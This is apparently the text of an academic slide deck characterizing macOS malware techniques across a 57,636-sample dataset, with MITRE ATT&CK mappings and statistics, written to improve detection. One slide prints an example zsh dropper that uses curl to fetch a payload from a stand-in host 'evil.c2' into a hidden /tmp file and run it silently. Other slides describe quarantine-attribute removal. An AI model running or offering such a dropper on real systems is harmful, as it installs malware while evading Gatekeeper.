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Introduction
The Apple Ecosystem and Threat Landscape

Target growth
Increase in macOS adoption in corporate and enterprise environments
Highly profitable target for attackers

Temporal concentration: The threat landscape is accelerating
According to our dataset, 2023 (49.72%) and 2024 (27.67%) account for ∼77% of all historical malicious activity
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Introduction
The Myth of the “Secure Mac”

The traditional perception of macOS as a “malware-free” system is obsolete

Modern malware has evolved specifically to bypass Apple’s native security controls
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Introduction
Contributions of this Work

1. Extensive Dataset and Methodology

Large-scale dataset of 57,636 statically analyzed and 21,967 dynamically analyzed macOS
Mach-O samples

Full pipeline detailed for reproducibility

2. Systematization of Knowledge

Large-scale, structured systematization of macOS malware behaviors

Mapped to the MITRE ATT&CK framework

3. Insights into Attack Patterns

Frequent behaviors observed: extensive C2 activity, widespread defense evasion, and little
evidence of lateral movement
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Background
Apple’s Defenses: Gatekeeper & XProtect

XProtect

Built-in signature scanner (YARA)

Transparent background updates

Gatekeeper

Enforces code signing policies

Checks com.apple.quarantine attribute

Bypass: Social engineering (right-click→ Open ) or
stripped attributes

Internet
Browser

Downloaded
File

(quarantine)

XProtect
Scan

Gatekeeper
Signature Check

Allow Execution

Block / Alert

Clean

Malware

Valid

Invalid/Unsigned
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Background
Apple’s Defenses: System Integrity Protection (SIP)

SIP (“Rootless” Mode)

Prevents modification of protected files/folders,
even by root

Locks directories like /System, /usr, /bin

Restricts unauthorized Kernel Extensions (kexts)

Attacker Adaptation:

Malware targets unprotected user-space directories
(e.g., ~/Library, /tmp) for persistence

User Space System Space

S
IP

B
O
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N

D
A

R
Y

Malware
(Root/Admin)

User Directories
(~/Library)

Protected Dirs
(/System, /usr)

macOS Kernel

Write
allowed

BLOCKED

Kext load
BLOCKED
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Background
Apple’s Defenses: App Sandbox & Notarization

Notarization

Automated Apple cloud scan before
distribution. Issues a “ticket”

Bypass: Droppers pass notarization,
then download payloads at runtime

App Sandbox

Confines apps to containers

Resources accessed only via explicitly
declared Entitlements

Developer Apple Notary
Service

Notarized App
(+ Ticket)

Submit

Approve

Sandbox Container

Camera/Mic

User Files

Entitlement

No Entitlement

(Blocked)

Characterizing TTPs in the macOS Threat Landscape [CC BY-NC-SA 4.0 © D. Lastanao Miró, J. Carrillo-Mondéjar, R. J. Rodríguez] 9 / 33

https://creativecommons.org/licenses/by-nc-sa/4.0/


Background
The Notarization Bypass: “The VIP Pass”

#!/bin/zsh
# 1. Fetch real payload
URL="http://evil.c2/payload.macho"
DROP="/tmp/.system_update"

# curl does NOT trigger quarantine
curl -s -L -o $DROP $URL

# 2. Make executable
chmod +x $DROP

# 3. Execute silently in background
$DROP &

Attacker
Apple Notary

Service

Notarized
Dropper

Attacker C2
Infrastructure

Real Mach-O
Malware

macOS Execution Boundary

1. Submit
script

2. Approves (Ticket)

3. Executed by user

reaches out to C2

4. Downloads
via curl

5. Executes silently (No Gatekeeper!)
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Background
Mach-O Format Structure

Mach Header
(Magic Number, CPU Type, N. Load Commands)

LC_SEGMENT_64 (__PAGEZERO)

LC_SEGMENT_64 (__TEXT)

LC_SEGMENT_64 (__DATA)

LC_CODE_SIGNATURE (Signature Blobs)

...

Segment __TEXT
(Executable code, read-only)

Segment __DATA
(Initialized variables, read/write)

Segment __LINKEDIT
(Symbol table, metadata)

Code Signature SuperBlob
(Certificates, Entitlements)

Defines how to map data in memory

Manipulated by malware to bypass shallow validations

Mach-O Header Flags

MH_NOUNDEFS Objects with no undefined symbols
MH_DYLDLINK The file is input for the dynamic linker

and cannot be statically linked again
MH_SPLITSEGS Object whose read-only segments have

been separated from read-write ones
MH_TWOLEVEL Two-level name binding
MH_ALLOW_STACK_EXECUTION Allows the stack to be executable
MH_PIE Allow Address Space Layout Random-

ization for executable types
MH_NO_HEAP_EXECUTION Make the heap non-executable
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Methodology and Dataset

Characterizing TTPs in the macOS Threat Landscape [CC BY-NC-SA 4.0 © D. Lastanao Miró, J. Carrillo-Mondéjar, R. J. Rodríguez] 12 / 33

https://creativecommons.org/licenses/by-nc-sa/4.0/


Methodology and Dataset
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Methodology and Dataset

1 Dataset Collection & Preprocessing

3 Dynamic Analysis

2 Static Analysis

MalwareBazaarVirusShare
VirusTotal

(VT Intelligence)

Initial Filtering
(discard if < 5
AV detections)

MIME & File Type
(retain only

x-mach-binary

& executables)

Final Dataset
(57,636 Mach-O

executables)

VT Sandboxes
Box Of Apples,
OS X, Zenbox

Behavior Extraction
Process, Files, Network

Enrichment
NeutrinoAPI, DGArchive

MITRE ATT&CK
Dataset

(15,469 samples)

(r2pipe)
Symbols, Complexity,

Arch, Language, Stripped

Detect-It-Easy (DIE)
Entropy, Packer detection

AVClass
Labeling, Families, PUPs
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Methodology and Dataset
File MIME Type Count

application/x-mach-binary (macOS)

Executable (57,636)
Dylib (3,624)
Bundle (576)
Object (150)

Kext_Bundle (29)
Dsym (7)

application/x-mach-binary (iOS) 3,694
application/zip 7
application/x-xar 10
application/octet-stream 1
application/x-xz 2
application/zlib 8
application/x-cpio 2
application/msword 1
inode/x-empty 1
text/plain 1
application/java-archive 1
text/x-script.python 2

Total 65,752

Mach-O File Types
MH_EXECUTABLE Executable binaries
MH_DYLIB Dynamic Libraries
MH_BUNDLE Plug-ins: Binaries that are not stan-

dalone but loaded into other binaries.
These differ from DYLIB types in that
they are exokicity loaded by the exe-
cutable, usually by NSBundle (Objetive-
C) or CFBundle (C)

MH_OBJECT Relocatable object files
MH_KEXT_BUNDLE Kernel extensions
MH_DSYM Companion symbol files and debug in-

formation
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Methodology and Dataset

Dynamic behavioral information
21,967 samples (38.11%) with behavioral data, of
which 15,316 were labeled by AVClass
403 distinct families

Without dynamic behavior
The remaining 35,669 samples lacked behavioral
data, but 25,320 successfully labeled by AVClass
281 distinct families

Prevalent Families & Types
PUPs/Adware dominate the landscape (67.63% of
samples), including Bundlore and Tirrip
Amos (13.44% of dynamic samples) is a prominent
Infostealer
Trojans/Ransomware like EvilQuest and
Flashback also represent significant threats

With behavioral data Without behavioral data

Family name Count (%) Family name Count (%)

amos 2,953 (13.44%) bundlore 10,349 (29.01%)
bundlore 1,596 (7.27%) tirrip 4,188 (11.74%)
tirrip 1,077 (4.9%) amos 1,913 (5.36%)
cimpli 956 (4.35%) cimpli 1,536 (4.31%)
flashback 862 (3.92%) evilquest 1,452 (4.07%)
mackontrol 739 (3.36%) synataeb 1,343 (3.77%)
genieo 645 (2.94%) imobie 778 (2.18%)
maxofferdeal 628 (2.86%) xcsset 759 (2.13%)
lador 475 (2.16%) lador 739 (2.07%)
installcore 338 (1.54%) adagent 469 (1.31%)

Total 10,242 (46.62%) Total 23,526 (65,96%)
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Methodology and Dataset

Architecture Count Packed Unpacked Stripped Non-stripped With behavioral
data

Without behavioral
data

x86_64 48,083 (83.43%) 9,720 (20.22%) 38,363 (79.78%) 42,241 (87.88%) 5,842 (12.12%) 16,840 (35.03%) 31,243 (64.97%)
ARM_64 3,970 (6.89%) 634 (15.96%) 3,336 (84.04%) 2,922 (73.59%) 1,048 (26.41%) 1,089 (27.44%) 2,881 (72.56%)

x86_64, ARM_64 2,683 (4.66%) 86 (3.21%) 2,597 (96.79%) 1,646 (61.34%) 1,037 (38.66%) 1,971 (73.47%) 712 (26.53%)
x86_32 1,656 (2.87%) 90 (5.43%) 1,566 (94.57%) 1,510 (91.18%) 146 (8.82%) 1,284 (77.54%) 372 (22.46%)

x86_32, PPC_32 983 (1.71%) 6 (0.61%) 977 (99.39%) 982 (99.90%) 1 (0.10%) 756 (76.89%) 227 (23.11%)
PPC_32 159 (0.28%) 12 (7.55%) 147 (92.45%) 159 (100.00%) 0 (0.00%) 0 (0.00%) 159 (100.00%)
ARM_32 69 (0.12%) 20 (28.99%) 49 (71.01%) 69 (100.00%) 0 (0.00%) 0 (0.00%) 69 (100.00%)

x86_64, PPC_32 29 (0.05%) 0 (0.00%) 29 (100.00%) 28 (96.55%) 1 (3.45%) 25 (86.21%) 4 (13.79%)
PPC_64 2 (0.00%) 1 (50.00%) 1 (50.00%) 2 (100.00%) 0 (0.00%) 0 (0.00%) 2 (100.00%)

x86_64, PPC_64, PPC_32 2 (0.00%) 2 (100.00%) 0 (0.00%) 2 (100.00%) 0 (0.00%) 2 (100.00%) 0 (0.00%)

Total 57,636 (100.00%) 10,571 (18.34%) 47,065 (81.66%) 49,561(85.99%) 8,075(14.01%) 21,967 (38.13%) 35,669 (61.87%)

Characterizing TTPs in the macOS Threat Landscape [CC BY-NC-SA 4.0 © D. Lastanao Miró, J. Carrillo-Mondéjar, R. J. Rodríguez] 16 / 33

https://creativecommons.org/licenses/by-nc-sa/4.0/


Agenda

1 Introduction

2 Background

3 Methodology and Dataset

4 Static Radiography: Internals

5 TTPs in Action: Dynamic Behavior

6 Live Demo: Dissecting the Threat

7 Limitations

8 Conclusions

Characterizing TTPs in the macOS Threat Landscape [CC BY-NC-SA 4.0 © D. Lastanao Miró, J. Carrillo-Mondéjar, R. J. Rodríguez] 16 / 33

https://creativecommons.org/licenses/by-nc-sa/4.0/


Static Radiography: Internals
Binary Properties and Languages

Architecture: 83.43% are x86_64 binaries (Intel era), although the migration to ARM64 (Apple
Silicon) is booming

Programming Languages: strong presence of C (21,173 samples), Objective-C (16,716
samples) and Objetive-C with blocks (10,522), followed by C++ (7,575) and the emerging
appearance of Swift (4,462) and Go (1,037)

File size: Average of 2MB, with outliers ranging from 1.70KB to a massive 256.02MB binary

Linking: The vast majority (53,447) are dynamically linked, compared to only 257 statically linked
(to hinder analysis).
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Static Radiography: Internals
Entropy, Packers, and Static Evasion

Stripped Symbols: 85.99% of the samples have their symbols
removed (stripped) to hinder reverse engineering

The mystery of macOS Packers:
18.34% of the samples show high entropy (indication of packing or
encryption)
However, none of these samples match signatures of known packers (unlike
the massive use of UPX in Linux/Windows)
This suggests the use of custom packing mechanisms specifically tailored for
macOS
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Static Radiography: Internals
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TTPs in Action: Dynamic Behavior
Initial Access & Execution
Initial Access

No initial access. Usually occurs by vulnerability exploitation or phishing

Execution

Scripting (T1064) and Command and Scripting Interpreter (T1059): Typical commands include
sh, sh-c, and chmod and defaults to seamlessly run scripts

AppleScript (T1059.002): macOS-specific scripting language used for system administration,
task automation, and interaction with other applications. sh -c osascript and osascript
observed in 2,301 and 2,931 samples, respectively

Native Libraries and Frameworks:
libobjc (objc_msgSend) in 44.25% of samples, confirming Objective-C as the primary language
libSystem (libc, libpthread) and fopen/fwrite to modify files dynamically before execution
Frequent import of high-level frameworks (CoreFoundation, Foundation, IOKit) to interact directly with OS
components and hardware via native APIs
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TTPs in Action: Dynamic Behavior
Persistence and Privilege Escalation

LC_LOAD_DYLIB Addition (T1546.006): Adversaries modify these headers to force the
execution of malicious dylibs persistently whenever the infected binary is launched.

Launch Agents (T1543.001) and Daemons (T1543.004): Entries in /Library/LaunchAgents
(executed upon user login) or /Library/LaunchDaemons. Using chmod and defaults.
Furthermore, attackers leverage dscl to manage Directory Services for user and password
manipulation, and utilize mkdir and rm the 2nd and 8th most executed commands.

To anchor themselves to the system, attackers target the /etc directory due to its criticality for
configurations and credentials

Most attacked files: Modifications in /etc/master.passwd, /etc/profile, and /etc/bashrc
to ensure execution during login or to elevate privileges
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TTPs in Action: Dynamic Behavior
Defense Evasion

Scripting (T1064): Commands as pkill, sh -c pkill, ps, and rm aid in the evasion process.

Hidden Files (T1564.001): Used by 32.81% of the samples. They use the dot prefix (.) or flags
like UF_HIDDEN for invisibility in Finder

Code Signing Abuse (T1553.002):
0.84% carry valid stolen signatures and 0.22% use invalid certificates that manage to bypass weak validations
1.40% deliberately remove the Info.plist file. Families like Shlayer used this to execute code without triggering
quarantine or Notarization checks

Virtualization/Sandbox Evasion (T1497): Imported symbols as usleep and sleep (16% and
12%). Also exit imported in 31k samples.
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TTPs in Action: Dynamic Behavior
Credential Access & Discovery

Credential Access

Keychain (1555.001):
macOS credential management system
Accessed and edited with the security command (254 samples)

Discovery

System Information Discovery (T1082): e.g., systemsetup

Security Software Discovery (T1082):
dscl (user accounts), /usr/bin/syslog (outputs from security software or check for signs of a virtual
environment), system_profiler (system hardware and software)
sw_vers (8.58 %), ioreg (3.71 %), and stat (3.88 %)
/etc/master.passwd, /etc/group, /etc/services, /etc/hosts, /etc/profile
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TTPs in Action: Dynamic Behavior
Credential Access & Discovery

Credential Access

Keychain (1555.001):
macOS credential management system
Accessed and edited with the security command (254 samples)

Discovery

System Information Discovery (T1082): e.g., systemsetup

Security Software Discovery (T1082):
dscl (user accounts), /usr/bin/syslog (outputs from security software or check for signs of a virtual
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sw_vers (8.58 %), ioreg (3.71 %), and stat (3.88 %)
/etc/master.passwd, /etc/group, /etc/services, /etc/hosts, /etc/profile
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TTPs in Action: Dynamic Behavior
Lateral movement

Remote Services: Remote Desktop Protocol (T1021.001):
21 samples with “Remote Desktop” capabilities
Detection of VNC (Virtual Network Computing) and RFB (Remote Frame Buffer) protocol strings
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TTPs in Action: Dynamic Behavior
Collection (Living off the Land) and Exfiltration

Data from Local System (T1005): Heavy abuse of native binaries (Living off the Land)
find used in 1,131 samples
grep used in 778 samples to search for sensitive strings

Archive Collected Data (T1560): Intensive use of the native libz library (18,212 samples) and
the tar command (334 samples)

Exfiltration and C2:
Use of alternative protocols (T1048) in 1,404 samples to evade detection
Command and Control (C2) communications are present in a staggering 96.70% of dynamic cases
curl used in 1,042 samples and rsync used in 1177 samples can directly send data to an external server
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TTPs in Action: Dynamic Behavior
Network Information

Domain & IP Footprint

4,966 Domains: 203 (VT) / 265 (Neutrino)
malicious

DGA Analysis: No matches in DGArchive

18,922 IPs: 142 (VT) / 653 (Neutrino) malicious

Port 443: 18,190 connections (HTTPS)

macOS Targeted Content

ocsp-response: 5,970 samples

apple-plist: 1,922 (Configs)

apple-diskimage: 108 (.dmg)

IP Classification Count
VPN 380
Exploit bot 202
Proxy 196
Spam bot 150
Bot 128
Tor 52
Spider 12
Hijacked 11
Dshield/Malware 13
Spyware 3
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Live Demo: Dissecting the Threat

3 samples:
41c21a9e57fc0c6dae09272f5829aa0b
a6ad28aaf03607a49873e89b5bd94833
451f4ff7c10be4c36268e42d8beff525

Static analysis: radare2 (rabin2),
D.I.E, and codesign
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Live Demo: Dissecting the Threat

Detect-It-Easy (DIE): 5.1 of entropy, not packed

Code Signing Identity:
Ad-hoc Signature: Not backed by a trusted Apple Developer certificate
TeamID: null (no sync with a legitimate developer account)

Gatekeeper Evasion:
Removal of com.apple.quarantine attribute (xattr -d) to prevent system alerts
Sequoia (2024) Impact: System Settings whitelist
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Live Demo: Dissecting the Threat
osascript Execution

AppleScript:
The bridge between the Mach-O binary and the high-level macOS UI
Mimics native macOS authentication windows to solicit administrative passwords
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Limitations

1. The Dynamic Analysis Bottleneck

Only 38.11% of the dataset (21,967 samples) successfully generated behavioral reports

Why? Execution failures due to OS version discrepancies, missing external libraries (dylibs), or
malware successfully deploying Anti-VM / Anti-Analysis techniques

2. Reliance on Third-Party Infrastructure

We rely on VirusTotal’s sandboxes (Zenbox, Box of Apples, OS X Sandbox). This creates a “black
box” effect where we have limited control over the runtime environment configuration

3. MITRE ATT&CK Mapping Constraints

TTP mapping depends entirely on the sandbox’s built-in signatures.

Blind spots: The notable absence of certain behaviors (e.g., Lateral Movement) might be an
artifact of the sandbox’s network restrictions or time limits, rather than a lack of capability in the
malware itself
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Conclusions
Platform-Specific Comparison

Structural Differences
Linking: Linux is 80% Static linked; macOS is 2.24%
Static static linked

Entropy: Windows is high-packed (51% > 7.0); macOS
is low-entropy (12% > 7.0) due to lack of native UPX

Diversity: Windows (1,057 families) nearly doubles
macOS (492 families)

Signing: Windows malware is 18% code-signed and
macOS samples are only 2.48%

Targeting & Intent
PUP Dominance: 67% of macOS threats are
Adware/PUPs; Windows is only 22%

Data Exfiltration: Common in Windows; only 9.1% of
macOS samples exhibit this

File System Ops: macOS (38%) is twice as active in
file manipulation than Windows (17%)

Architectural Shift: Linux is most diverse; macOS is
Intel based and now it is adopting new Apple Silicon
(ARM) malware

The “So What?”
macOS malware is characterized by Dynamic Linking, Low Entropy, and a focus on
PUP/Adware persistence rather than the raw data-exfiltration seen in Windows/Linux
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Conclusions

Focus on Evasion and Persistence: The Apple ecosystem is not invulnerable; attackers have
refined advanced techniques for signature manipulation (Mach-O) and custom obfuscation

Limitations of Static Analysis: Relying on corporate security solely based on static scans is no
longer viable given the abuse of legitimate tools

Open Science: Release of the massive 57k sample dataset and extraction of real TTPs to allow
the community to improve behavior-based detection

Dataset Paper
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